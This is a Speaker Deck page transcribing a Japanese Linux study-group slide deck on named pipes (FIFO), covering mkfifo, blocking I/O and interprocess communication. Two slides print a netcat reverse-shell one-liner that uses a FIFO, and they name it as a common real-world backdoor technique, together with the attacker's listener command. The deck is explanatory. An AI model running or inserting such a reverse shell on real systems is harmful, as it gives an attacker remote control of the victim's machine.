Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
名前付きパイプ FIFO
Search
Osumi, Yusuke
February 13, 2021
Technology
560
0
Share
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
400
gitサービス3兄弟
ozuma
0
410
簡体字は楽
ozuma
0
480
ソフトウェアは固定資産
ozuma
0
440
ASCIIコードの小話
ozuma
0
450
今いるディレクトリを消すとどうなる
ozuma
1
390
文章、作文技法 リモートワーク
ozuma
1
920
CentOSの今後のリリース(簡易説明)
ozuma
0
410
AndroidでもLinux動いてるよ
ozuma
0
450
Other Decks in Technology
See All in Technology
Google Cloud Next '26 の裏でこっそりリリースされたCloud Number Registry & Cloud Hub コスト分析 を試してみた
hikaru1001
0
120
Cortex Codeのコスト見積ヒントご紹介
yokatsuki
0
130
AI時代のガードレールとしてのAPIガバナンス
nagix
0
340
Hacobu Tech Deck
hacobu
PRO
0
140
生成AI時代のドキュメントに対する期待の整理と実践から得た学び / Rethinking Documentation for LLM: Lessons from Practice
bitkey
PRO
1
120
20260428_Product Management Summit_Loglass_JoeHirose
loglassjoe
4
4.9k
FessのAI検索モード:検索システムとLLMへの取り組み
marevol
0
130
Modernizing Your HCL Connections Experience: Visual Report to chain, Profile Enhancements, and AI Integration
wannesrams
0
170
Chasing Real-Time Observability for CRuby
whitegreen
0
400
Claude Code を安全に使おう勉強会 / Claude Code Security Basics
masahirokawahara
12
38k
目的ファーストのハーネス設計 ~ハーネスの変更容易性を高めるための優先順位~
gotalab555
9
3.4k
Rapid Start: Faster Internet Connections, with Ruby's Help
kazuho
2
920
Featured
See All Featured
B2B Lead Gen: Tactics, Traps & Triumph
marketingsoph
0
110
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.7k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
52
5.9k
The Limits of Empathy - UXLibs8
cassininazir
1
310
The SEO Collaboration Effect
kristinabergwall1
1
430
Efficient Content Optimization with Google Search Console & Apps Script
katarinadahlin
PRO
1
520
Build The Right Thing And Hit Your Dates
maggiecrowley
39
3.1k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Self-Hosted WebAssembly Runtime for Runtime-Neutral Checkpoint/Restore in Edge–Cloud Continuum
chikuwait
0
500
Git: the NoSQL Database
bkeepers
PRO
432
67k
The Spectacular Lies of Maps
axbom
PRO
1
720
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
47
8.1k
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る